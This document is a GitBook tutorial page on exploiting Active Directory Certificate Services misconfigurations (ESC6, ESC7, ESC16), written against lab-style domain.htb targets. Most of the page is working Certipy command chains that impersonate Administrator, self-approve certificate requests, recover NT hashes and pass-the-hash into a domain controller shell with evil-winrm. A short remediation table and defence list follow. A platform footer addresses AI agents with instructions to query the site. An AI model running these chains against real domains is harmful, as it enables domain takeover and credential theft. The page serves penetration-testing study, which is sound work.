> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/active-directory/adcs-esc-vulnerabilities-active-directory-certificate-services.md).

# ADCS ESC Vulnerabilities - Active Directory Certificate Services

### What is ADCS?

Active Directory Certificate Services is Microsoft's built-in Certificate Authority. It issues digital certificates for:

* HTTPS websites
* Smart card logins
* Email signing
* **User and computer authentication to AD**

That last one is what makes it dangerous when misconfigured. A certificate that proves "I am Administrator" can be used to get Administrator's Kerberos ticket — and from there, their NT hash.

```
Misconfigured ADCS
        ↓
Attacker requests cert claiming to be Administrator
        ↓
DC accepts the cert as proof of identity
        ↓
Attacker gets Administrator's Kerberos TGT
        ↓
Certipy converts TGT → NT hash
        ↓
Pass-the-Hash → Domain Admin shell
```

***

### Setup — Certipy

```bash
# Install
pip install certipy-ad --break-system-packages

# Always start with a full scan
certipy find \
  -u svc_infra@domain.htb \
  -p 'password' \
  -dc-ip 10.x.x.x \
  -vulnerable \
  -stdout
```

This outputs every vulnerable template and CA configuration with the ESC number and what's wrong.

***

### ESC6 — CA Allows Any SAN

#### What is it?

The Certificate Authority has the flag `EDITF_ATTRIBUTESUBJECTALTNAME2` enabled. This means anyone requesting a certificate can put **any username they want** in the Subject Alternative Name (SAN) field — including Administrator.

#### How to identify

```bash
certipy find -u user@domain.htb -p 'pass' -dc-ip 10.x.x.x -vulnerable
# Look for: [!] ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2 set on CA
```

#### How to exploit

```bash
# Step 1 — Request a certificate claiming to be Administrator
certipy req \
  -u svc_infra@domain.htb \
  -p 'password' \
  -ca CORP-CA \
  -template User \
  -upn administrator@domain.htb \
  -dc-ip 10.x.x.x

# Output: Saved certificate to administrator.pfx

# Step 2 — Authenticate with the certificate
certipy auth \
  -pfx administrator.pfx \
  -dc-ip 10.x.x.x

# Output:
# [*] Got hash for 'administrator@domain.htb': aad3b435b51404eeaad3b435b51404ee:f29e9c014295b9b3...

# Step 3 — Pass the Hash
evil-winrm -i dc01.domain.htb \
  -u administrator \
  -H f29e9c014295b9b32139b09a2790be3b
```

***

### ESC7 — ManageCertificates Right on CA

#### What is it?

The `ManageCertificates` permission on a CA allows the holder to approve certificate requests that would normally be rejected. This lets you request a cert that requires manager approval, then approve it yourself.

#### How to identify

```bash
certipy find -u user@domain.htb -p 'pass' -dc-ip 10.x.x.x -vulnerable
# Look for: [!] ESC7 - 'GMSA_CA_PROD$' has dangerous permissions on CA
```

#### How to exploit

```bash
# Step 1 — Add yourself as CA officer (if you have ManageCA)
certipy ca \
  -u 'GMSA_CA_PROD$'@domain.htb \
  -hashes :e3b0c44298fc1c149afb \
  -ca CORP-CA \
  -add-officer svc_infra \
  -dc-ip 10.x.x.x

# Step 2 — Enable the SubCA template
certipy ca \
  -u 'GMSA_CA_PROD$'@domain.htb \
  -hashes :e3b0c44298fc1c149afb \
  -ca CORP-CA \
  -enable-template SubCA \
  -dc-ip 10.x.x.x

# Step 3 — Request a cert (it will be denied initially)
certipy req \
  -u svc_infra@domain.htb -p 'password' \
  -ca CORP-CA -template SubCA \
  -upn administrator@domain.htb \
  -dc-ip 10.x.x.x
# Note the Request ID from output e.g. Request ID: 12

# Step 4 — Approve your own request
certipy ca \
  -u 'GMSA_CA_PROD$'@domain.htb \
  -hashes :e3b0c44298fc1c149afb \
  -ca CORP-CA \
  -issue-request 12 \
  -dc-ip 10.x.x.x

# Step 5 — Retrieve the approved certificate
certipy req \
  -u svc_infra@domain.htb -p 'password' \
  -ca CORP-CA -retrieve 12 \
  -dc-ip 10.x.x.x
# Saved to administrator.pfx

# Step 6 — Get hash and PTH
certipy auth -pfx administrator.pfx -dc-ip 10.x.x.x
evil-winrm -i dc01.domain.htb -u administrator -H <hash>
```

***

### ESC16 — SID Mapping Instead of UPN

#### What is it?

ESC16 is a newer variant where the CA has `szOID_NTDS_CA_SECURITY_EXT` disabled. This extension normally embeds the requester's SID in the certificate. Without it, you can request a certificate using a target's SID directly — bypassing UPN-based protections.

#### How to exploit

```bash
# Step 1 — Get Administrator's SID
certipy account \
  -u svc_infra@domain.htb -p 'password' \
  -dc-ip 10.x.x.x \
  -user administrator

# Step 2 — Request cert using SID
certipy req \
  -u svc_infra@domain.htb -p 'password' \
  -ca CORP-CA -template User \
  -sid S-1-5-21-XXXXXXXXX-XXXXXXXXX-XXXXXXXXX-500 \
  -dc-ip 10.x.x.x

# Step 3 — Authenticate
certipy auth -pfx administrator.pfx -dc-ip 10.x.x.x
```

***

### Full ESC Reference Table

| ESC   | Root Cause                               | Who Can Exploit    | Quick Fix                                |
| ----- | ---------------------------------------- | ------------------ | ---------------------------------------- |
| ESC1  | Template allows any SAN, low-priv enroll | Any domain user    | Remove SAN flag from template            |
| ESC2  | Any Purpose EKU                          | Any domain user    | Restrict EKU                             |
| ESC3  | Certificate Request Agent abuse          | Any domain user    | Restrict enrollment agents               |
| ESC4  | Write access to template                 | Template writers   | Audit template ACLs                      |
| ESC6  | CA-wide SAN flag enabled                 | Any enrollee       | Disable EDITF\_ATTRIBUTESUBJECTALTNAME2  |
| ESC7  | ManageCertificates on CA                 | CA officers        | Audit CA permissions                     |
| ESC16 | SID extension disabled                   | Template enrollees | Re-enable szOID\_NTDS\_CA\_SECURITY\_EXT |

***

### Defence

* Run Certipy or PSPKIAudit regularly to find misconfigurations
* Disable `EDITF_ATTRIBUTESUBJECTALTNAME2` on all CAs
* Audit who has `ManageCA` and `ManageCertificates` rights
* Enable the `szOID_NTDS_CA_SECURITY_EXT` extension
* Restrict certificate template enrollment to specific groups only
* Monitor certificate requests for unusual UPNs (Event ID 4886, 4887)


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/active-directory/adcs-esc-vulnerabilities-active-directory-certificate-services.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
